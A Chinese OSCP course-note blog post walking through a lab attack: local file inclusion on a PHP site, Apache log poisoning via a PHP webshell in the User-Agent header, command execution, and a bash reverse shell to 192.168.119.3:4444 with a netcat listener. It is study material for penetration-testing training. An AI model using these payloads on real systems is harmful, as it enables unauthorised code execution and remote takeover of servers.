4-3〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸本地资料涵盖漏洞-A

news/2025/9/27 16:34:21/文章来源:https://www.cnblogs.com/tlnshuju/p/19115260

4-3〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸本地资料涵盖漏洞-A

2025-09-27 16:29  tlnshuju  阅读(0)  评论(0)    收藏  举报

    郑重声明:本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    点赞❤️ 关注 收藏⭐️ 评论 
    更多文章戳
Whoami!-CSDN博客


 现在,我们渐入佳境了,保持耐心,继续前行 ! 

' , !  


→ 信息收集

→ 漏洞检测

→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 

→ 权限提升

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1 常见WEB应用攻击

1.2 文件包含漏洞概述

1.2.1 文件包含漏洞 vs 目录遍历漏洞的区别

1.2.2 本地文件包含漏洞(LFI)

1.2.2.1 攻击思路流程

1.2.2.2 识别本地文件包含漏洞

1.2.2.3 把可执行代码写入到目标文件(access.log)

1.2.2.4 执行写入文件的代码

1.配置攻击参数

2.执行ps命令验证攻击

3.执行其他命令(需对命令进行编码)

1.2.2.5 获取反向Shell-登录到服务器

1.构建反向Shell命令

2.修改反向shell命令

3. 攻击者事先准备:打开4444端口监听

4.在Burp重放并完成反向shell

创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论


1 常见WEB应用攻击

Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 目录遍历 - 通过操纵文件路径访问未授权资源

  • 文件包含漏洞 - 包含恶意文件执行代码---(本文)

  • ⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权

  • ⚡ 命令注入 - 在输入中注入系统命令执行

1.2 文件包含漏洞概述

1.2.1 文件包含漏洞 vs 目录遍历漏洞的区别

特征目录遍历漏洞文件包含漏洞
主要功能读取文件内容包含并执行文件
处理方式显示源代码执行代码
影响范围仅限于文件读取可导致代码执行

核心区别

  • 目录遍历漏洞:获取web服务器站点根目录之外的文件内容,仅允许读取文件内容

  • 文件包含漏洞:允许在应用程序的运行代码中"包含"文件,可执行本地或远程文件

实际案例对比

# 目录遍历漏洞示例
访问: http://target.com/../../admin.php
结果: 显示admin.php的源代码
# 文件包含漏洞示例
访问: http://target.com/?page=../../admin.php
结果: 执行admin.php中的PHP代码

1.2.2 本地文件包含漏洞(LFI)

1.2.2.1 攻击思路流程

攻击目标:通过LFI漏洞获得远程代码执行(RCE)

攻击思路流程图

[发现LFI漏洞] → [识别可控日志点] → [注入恶意代码] → [包含日志文件] → [获得RCE]

1.2.2.2 识别本地文件包含漏洞

寻找可控点思路

  • 利用目录遍历漏洞,检查Apache日志文件 /var/log/apache2/access.log

  • 识别log日志文件中,哪些输出是用户可控制的信息字段

  • 如果找到,那么就可以再次编写可执行代码。

kali@kali:~$ curl
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/a
pache2/access.log
...
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/index.php?page=admin.php
HTTP/1.1" 200 2218 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0"
...

【分析】日志条目中包含user-agent信息。发现如下:

  • User-Agent字段是用户的HTTP请求信息

  • 该信息被记录到access.log文件中

  • {脑洞大开}:在发送请求之前,可以在Burp中修改user-agent信息并指定将写入access.log文件的内容

  • 最后,通过LFI可以包含并执行日志中的内容

[攻击者] ↓ 修改User-Agent为PHP代码
[Burp Suite代理] ↓ 发送恶意请求
[目标服务器] ↓ 记录到access.log
[利用LFI] ↓ 包含access.log文件
[代码执行] ↓ 获得RCE权限

1.2.2.3 把可执行代码写入到目标文件(access.log)
  • 启动Burp,同时打开浏览器并访问 “Mountain Desserts” 网页;
  • 在该网页底部找到并点击 “Admin” 链接;
  • 切换回 Burp,打开 “HTTP history”选项卡,从中筛选出点击 “Admin” 链接时产生的相关网络请求;
  • 将筛选出的目标请求,发送到 Burp的 “Repeater”;

接下来,

  • 修改User Agent,将以下列表中的PHP代码片段包含其中。
  • 修改后,点击send。PHP代码片段被写入Apache的access.log文件中。

<?php echo system($_GET['cmd']); ?>

组成部分说明
<?php... ?>PHP 代码块标签,用于标识 PHP 代码的开始和结束范围
$_GET['cmd']获取 URL 中cmd参数的值(例如http://example.com/script.php?cmd=ls中获取ls
system()PHP 内置函数,用于执行外部系统命令,并返回命令输出结果
echosystem()函数执行命令后的结果输出到浏览器,供用户查看
整体功能接收用户通过 URL 参数传入的命令,执行该系统命令并将结果输出到网页


1.2.2.4 执行写入文件的代码

关键前提:必须事先发现LFI漏洞,然后通过包含日志文件来执行PHP代码片段。

1.配置攻击参数
参数作用示例值
page指定日志文件相对路径../../../var/log/apache2/access.log
cmd传递要执行的命令ps,只是验证命令是否起作用

参数格式:使用和号(&)作为分隔符

/meteor/index.php?page=../../../var/log/apache2/access.log&cmd=ps
2.执行ps命令验证攻击

验证流程

  • 发送简单命令(如ps)验证日志中毒是否生效

  • (切记!)再次发http请求时候,要清理User-Agent参数。因为上一步已经修改过User-Agent参数,避免重复污染日志

  • 查看响应输出:最终的Burp请求显示在下图的请求部分。发送请求后,向下滚动并在响应部分中查看命令ps成功输出结果,说明命令被执行了!从而,利用了LFI漏洞。

3.执行其他命令(需对命令进行编码)

遇到的问题:

  • 直接使用ls -la命令会触发错误

  • 根本原因:命令中的空格字符被系统错误解析

各种编码技术解决:

方法实现方式优点缺点
URL编码空格→%20简单直接可能需要多次尝试
IFS分隔符使用${IFS}代替空格绕过简单过滤需要系统支持
Tab编码空格→%09较少被检测兼容性问题

✅ 推荐方案:URL编码

# 原始命令(会报错)
ls -la
# URL编码后(成功执行)
ls%20-la

我们的命令执行成功,输出ls -la的结果:

防护应对措施

  • 对用户输入进行严格过滤和编码验证

  • 限制日志文件的访问权限

  • 监控异常的User-Agent模式


1.2.2.5 获取反向Shell-登录到服务器

攻击目标升级:从命令执行到反向Shell

1.构建反向Shell命令
bash -i >& /dev/tcp/192.168.119.3/4444 0>&1

命令分解说明

命令部分功能说明技术细节
bash -i启动交互式Bash shell-i参数确保shell提供交互式输入输出
>& /dev/tcp/192.168.119.3/4444建立TCP连接重定向

>& :是一种重定向操作符,将

标准输出(stdout)和标准错误(stderr)

重定向到攻击者IP:端口。

相当于在Linux系统上打开一个到远程主机

的网络连接。

0>&1输入流重定向

0 代表标准输入(stdin),1 代表标准输出(stdout)。

0>&1 表示将标准输入重定向到标准输出,也就是将

输入流通过TCP连接传输到目标主机(192.168.119.3)。

也就是说,它会将输入(stdin)流发送到先前设置的TCP连接,并且通过这个连接接收输出。

✅ 整体实现:

  • 功能本质:使被攻击的 Web 服务器启动 Bash shell,并将其输入、输出及错误流全部重定向到攻击者机器(192.168.119.3)的 4444 端口。

  • 攻击流程

    • 攻击者预先在自身机器上通过nc -nlvp 4444等工具监听 4444 端口
    • 目标服务器执行该命令后,会主动建立与攻击者机器 4444 端口的 TCP 连接
    • 攻击者通过此连接获得目标服务器的远程 shell,实现交互控制
  • 最终效果:攻击者可远程操控被攻击主机的 shell,执行各类系统命令。


2.修改反向shell命令

①强制通过bash执行

     修改缘由:由于我们通过PHP的system()函数执行命令,我们意识到命令默认可能是通过Bourne Shell(也称为sh),而不是Bash执行的,因此需要对以下命令进行改造,确保反向shell强制通过Bash执行。

改造前:bash -i >& /dev/tcp/192.168.119.3/4444 0>&1

        我们可以通过将反向shell单行命令作为参数提供给bash -c来实现这一点,bash -c会使用Bash执行命令。

改造后:bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"

详细说明:在PHP中system()函数执行的命令通常由操作系统的默认shell来处理。具体的:
①在类Unix系统(如Linux和macOS)中,system() 默认会使用系统的默认shell,通常是/bin/sh。这意味着执行的命令会通过sh来处理。
②在Windows 系统中,system()默认使用cmd.exe 来执行命令。
    所以,在Linux系统上,system()会通过sh执行命令,如果系统配置了其他默认shell(比如 bash),那么它也有可能会使用这个shell。但在大多数情况下,/bin/sh 会被用来执行命令。
示例:


这条命令会被sh解析和执行,并且输出Hello, world!。
如果你希望显式地使用某个shell(例如 bash),可以在命令中指定:


这将强制PHP使用bash来执行命令。

②URL编码

再次使用URL编码对特殊字符进行编码后,然后将要放入Burp中重放。

URL编码后:
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22

3. 攻击者事先准备:打开4444端口监听

在发送请求之前,在攻击者的Kali的端口4444上启动一个 Netcat监听器。 它将接收一会来自目标 系统的反向shell。

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
# 在攻击机器上启动监听
# -n:表示不进行DNS查询,即使用数字形式的IP地址,而不是尝试解析域名
# -v:表示 verbose(详细输出)
# -l:表示监听模式,等待其他计算机或设备发起连接请求
# -p:表示监听的是4444端口

4.在Burp重放并完成反向shell

下图显示将上述命令添加到请求中的正确方法(cmd的参数)。

再次提醒:切记~删除user-agent行。

在Burp中按下发送按钮发送请求后,我们成功在Netcat监听器中接收到了反向shell。


创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论

您的支持是我创作最大的动力!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/919670.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[K230学习笔记] 00前言

K230 介绍从 K230 系统框图可以看出,K230 有两个CPU核心,分别是小核 CPU0 与大核 CPU1,该文档主要使用 CPU1 进行 RT-Smart 开发相应的 BSP。 开发环境搭建 硬件平台 立创庐山派K230-CanMV开发板 - 立创开源硬件平台…

网站建设属于软件开发苏州网站建设师

随着互联网的不断发展&#xff0c;搜索引擎优化&#xff08;SEO&#xff09;成为各大企业和网站重要的推广手段。然而&#xff0c;传统的SEO方法已经难以应对日益复杂和智能化的搜索引擎算法。在这样的背景下&#xff0c;HTTP代理爬虫作为一种重要的工具&#xff0c;正在逐渐被…

[CEOI 2025] theseus 做题记录

头皮发麻的题目。link 对于一道题目,我们需要观察题目的对象形式有什么特点。对于一道构造题,我们需要思考现在我们想要什么。 对于这题,观察到需要用到一个隐藏条件——点的编号,从编号信息入手。Trial 1:对于一…

2025 年钣金加工厂家最新推荐排行榜发布:江门,珠三角钣金加工厂选择指南

在智能制造与新基建加速推进的背景下,钣金加工作为装备制造的基础环节,市场需求持续攀升,但行业发展仍面临多重挑战。一方面,精密制造需求与加工精度不匹配的问题突出,如新能源充电桩柜体等产品对 0.1 毫米级平整…

全文 -- Vortex: Extending the RISC-V ISA for GPGPU and 3D-Graphics Research - 指南

全文 -- Vortex: Extending the RISC-V ISA for GPGPU and 3D-Graphics Research - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important…

做网站广告语适合女孩做的网站

vscode-drawio简介网络之大&#xff0c;人才百出&#xff0c;在开源背景下&#xff0c;一些功能只有你想不到&#xff0c;没有做不到。这不&#xff0c;对于写代码的程序员来说&#xff0c;竟然也可以在VSCode IDE里边写代码&#xff0c;边画逻辑流程图了。最近&#xff0c;在g…

湖南省房屋和城乡建设部网站有了网站怎么做app吗

文章目录 0. 引言1. 目标&#xff1a;ZeroMQ与Fast-DDS性能对比2. ZeroMQ vs Fast-DDS - 延迟基准测试2.1 一对一发布-订阅延迟2.2 一对多发布-订阅延迟 3. ZeroMQ vs Fast-DDS - 吞吐量基准测试4. 方法论5. 结论6. 参考 0. 引言 高要求的分布式系统催生了对轻量级且高性能中间…

通过AWS SSO设备代码认证进行AWS凭证钓鱼攻击(2024年更新)

本文详细分析了AWS SSO设备代码认证机制存在的钓鱼攻击风险,通过具体代码演示攻击流程,并提供了CloudTrail日志检测方案。文章指出这种设计缺陷会绕过MFA等安全机制,同时给出了具体的防御建议和凭证撤销方法。通过A…

wireshark 过滤

wireshark 过滤 IP地址过滤 ip.addr == 192.168.1.202ip目的地地址过滤 ip.dst==192.168.1.202端口过滤udp.port==8080udp.srcport==8080udp.dstport==8080 搜索栏输入“not gvsp and not icmp” ,把 ARP、UDP 协议过…

解码数据结构栈

栈的概念与特性 栈是线性结构的特殊形式,其设计初衷是解决 “数据需按特定顺序存取” 的场景(如函数调用、括号匹配),核心遵循 “后进先出”(LIFO,Last In First Out)原则,是计算机领域中最基础的数据结构之一…

vs 2008 建立网站汕头有几个区几个县

七燕论文是一个非常好用的论文写作工具&#xff0c;它不仅可以帮助学生提高写作效率&#xff0c;还能帮助他们避免抄袭和提高论文质量。七燕论文的查重降重功能非常靠谱&#xff0c;能够帮助用户检测论文中的重复内容&#xff0c;并提供相应的修改建议&#xff0c;确保论文的原…

第七章 手写数字识别V4

# 优化: # 增加父类Module,输出每层信息 # 增加ReLU类,Tanh类 # 增加Dropout类,随机失活,防止过拟合,提高泛化能力 # 增加Parameter类,保存权重和梯度# 导入必要的库 import numpy as np import os import stru…

什么?你的蓝牙用不了了?

什么?你的蓝牙用不了了?如果你的电脑蓝牙出现一下问题:蓝牙图标不见? 搜索不到任何设备? 只能搜到手机不能搜到耳机? 看看本篇文章给你的解决办法把!蓝牙图标不见 暂未解决。 搜索不到任何设备 首先,同时按下 …

个人可以做电影网站吗信用徐州网站建设情况

黑马程序员上海中心学姐微信&#xff1a;CZBKSH关注咳咳&#xff0c;今天学姐就来和你们说说Spring对于Java程序员的重要性。首先&#xff0c;Spring 官网首页是这么介绍自己的——“Spring: the source for modern Java”&#xff0c;这也意味着 Spring 与 Java 有着密切的关系…

做韦恩图的在线网站wordpress下载视频

简单选择排序的介绍&#xff1a;从给定的序列中&#xff0c;按照指定的规则选出某一个元素&#xff0c;再根据规定交换位置后达到有序的目的。简单选择排序的基本思想&#xff1a;假定我们的数组为int [] arr new int[n]&#xff0c;第一次我们从arr[0]~arr[n-1]中选择出最小的…

2025/9/27

2025/9/271.完成课后任务:验证码任务 2.完成课后任务:生成三十道四则运算题

30.Linux DHCP 服务器 - 详解

30.Linux DHCP 服务器 - 详解pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco"…

C# Smart3D Plate Part零件形状提取

public class ExportPartShape : BaseModalCommand{public override void OnStart(int instanceId, object argument){base.OnStart(instanceId, argument);var symFile = @"C:\Program Files (x86)\Smart3D\Comm…